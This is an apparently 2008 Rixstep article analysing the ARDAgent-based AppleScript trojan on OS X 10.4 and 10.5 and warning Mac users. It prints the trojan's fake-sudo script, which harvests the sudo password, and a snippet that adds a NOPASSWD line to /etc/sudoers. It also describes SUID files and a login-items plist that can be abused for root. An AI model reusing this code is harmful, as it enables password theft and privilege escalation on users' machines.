About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Learning Curve

ARGAgent: Finishing Up?

The 10.5.4 update didn't patch the ARDAgent hole - nothing in the ARDAgent bundle was updated.

Get It

Try It

The story of the 'ARGAgent' is all but wound up but there are several details that still need to be covered.

Where You're Vulnerable, Where You're Not

OS X 10.5 is vulnerable to the ARDAgent exploit. Even today. The 10.5.4 update didn't patch the hole - nothing in the ARDAgent bundle was updated.

If you bother about 'repairing permissions' - which you shouldn't and needn't if you conduct yourself properly - then you need to keep fixing the permissions on this bundle. As there is an ongoing attempt on the web to exploit this vulnerability you could be hit from any direction in any place at any time.

OS X 10.4 can also be vulnerable but behaviour is erratic. The suspicion is Apple put 'band-aid code' in ARDAgent but forgot about it for 10.5. Whatever: band-aid code doesn't generally work well and it's not working well here either. Even though some people report 'resistance' in 10.4.11 others report the exploit working fine.

So do yourself a favour and neutralise this vulnerability now - see the links below.


'Never' is an unequivocal word but in general you do not need an antivirus subscription for OS X - not yet at any rate.

Visual Basic Sophistication?

There are those who say the trojan code circulating has the sophistication of Visual Basic exploits for Windows back in the year 2000. This is totally wrong.

The original 'ILOVEYOU' Love Bug code was horrendous. More than one system engineer said he'd sack anyone who wrote such sloppy code. Indeed.

But the trojan currently circulating isn't sloppy. It's meticulously formatted, with nary a typo in its 1,035 lines of code, uses rather esoteric Unix commands, and so forth. It's hardly on a 'Visual Basic level'.

Tested on 10.4.11

The current version of the script is tested on OS X 10.4.11 but seems to work well on 10.5 as well - and it's especially 10.5 that's vulnerable (and again: 10.5.4 didn't attempt to patch the vulnerability).

Shell Scripts

It's been claimed - and according to some proven - that anyone can write AppleScript. It's quite another challenge level to take on Unix scripting. The script uses at least the following Unix commands.

accton, apachectl, AppleFileServer, arp, basename, bash, cat, cd, chgrp, chmod, cp, crontab, curl, defaults, dirname, ditto, dscl, echo, expect, grep, head, hexdump, id, installer, ipfw, kill, killall, launchctl, mkdir, mv, nidump, niutil, nvram, open, openssl, printf, ps, reboot, rm, screencapture, sed, sshd, sudo, sw_vers, tail, test, touch.

The way these commands are combined in an AppleScript context shows quite a bit of dexterity. This isn't the work of a 'script kiddie' - more like that of a system administrator adept at both Unix in general and OS X in particular.

Sudo Fun Revisited

Particularly fascinating is the following snippet. It's part and parcel of the attempt to install an alternate sudo and hijack the real one - along with your sudo password.

do shell script "echo -e\"
\" > ~/Library/.sudo2"

Running the above from the command line without redirection yields the following.

"#!/bin/bash [ "x${*}" == "x" ] && exec /usr/bin/sudo && exit 1;[ "x${1}" != "x${1/-k}" -o "x${1}" != "x${1/-K}" ] && exec /usr/bin/sudo "${*}" && exit 0;[ $(($RANDOM%2)) != 0 ] && exec /usr/bin/sudo "${*}" && exit 0;echo -ne "\x50\x61\x73\x73\x77\x6f\x72\x64\x3a";stty -echo 2>/dev/null;read pass;stty sane 2>/dev/null;echo "${pass} " >> ~/Public/.howdy;echo;echo "Sorry, try again.";/usr/bin/sudo -k 2>/dev/null;exec /usr/bin/sudo "${*}""

This is the snippet that will hijack your sudo password: 'echo -ne "\x50\x61\x73\x73\x77\x6f\x72\x64\x3a"' yields 'Password:' on screen whilst 'stty -echo 2>/dev/null' turns off echo, 'read pass' reads the password you submit, and 'stty sane 2>/dev/null' restores the TTY settings.

[If you think you've seen that attack before you're right: it was here at Rixstep just over a year ago. Click here. Ed.]

Should the trojan not be able to seize control of your machine it gets help from an embedded exploit package.

    with timeout of 5 seconds
        do shell script quoted form of my_resources & "/MachEx <<< \"echo '" & my_username &
        (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL' >> /etc/sudoers;
    end timeout
end try

What is My IP?

The script accesses two URLs to determine the machine IP.

    --These get the public IP address
    set ip_addresses to (do shell script
        "curl 'http://www.whatismyip.com/automation/n09230945.asp' 2>/dev/null")
            & " " & ip_addresses
    on error error_message number error_number
    if debug then log_event("papers_please:ERROR #" & error_number & " " & error_message)
    set ip_addresses to (do shell script
        "curl http://ipid.shat.net/iponly/ | grep body | sed -e 's/^//' -e 's/<.*$//'")
            & " " & ip_addresses
end try

So whoever wrote the script is certainly not on a 'Visual Basic' level.


The Month of Apple Bugs project is over a year and a half old - but there are still vulnerabilities exposed through MOAB that Apple still don't think they need to patch. In particular the following holes mentioned in MOAB 15.

/Applications/Utilities/Activity Monitor.app/Contents/Resources/pmTool
/Applications/Utilities/Keychain Access.app/Contents/Resources/kcproxy
/Applications/Utilities/ODBC Administrator.app/Contents/Resources/iodbcadmintool

They're all SUID root; they've also writable by the admin account; and they're addressed (incorrectly) by 'repair permissions' - this means an attack can overwrite them with attack code and then run 'repair permissions' and your machine is total toast.

So make sure you've protected these files.


There's another hole in OS X: the file 'com.apple.systemloginitems.plist'. This file resides in /Library/Preferences on both Tiger and Leopard. The permissions for /Library/Preferences on both systems mean the admin account can tamper with this file - no matter how the file itself is protected.

So what does 'com.apple.systemloginitems.plist' do? Simple: it determines which processes will run prior to your login.

As you haven't logged in at this point the processes must run as root. Again as with Opener: your machine is toast.

It's easy to test this to see how it works (at least in theory). Copy the following into the file at the path described above and then reboot.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

You'll see the Calculator menu bar on screen before you log in - the program's running as root.

Tiger and Leopard behave differently here: Tiger will let root processes run after login; Leopard will not. As the processes do run as root before login it's likely this is yet another vulnerability that is now or soon will be exploited.

See Also
Industry Watch: Opener 3.9
Industry Watch: The Story of Renepo
Learning Curve: Summary - OS X Threat Landscape Document

ACP: CLIX Download
Learning Curve: Sudo Fun
Learning Curve: Too Much Sudo Fun
Learning Curve: Way Too Much Sudo Fun
Industry Watch: ACP Text Services - Resolve Path

Learning Curve: A Suggestion
Industry Watch: You're Root, Dude!
Industry Watch: You're Toast, Dude?
Learning Curve: The First Real Malware?
Learning Curve: Apple Redefine 'Epic FAIL'?
Industry Watch: It's Not New It Starts with 10.2
Apple Developer Connection: AppleScript Overview
Industry Watch: Huge, Crazy, Ridiculous OS X Security Hole
Apple Developer Connection: Apple Events Programming Guide

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.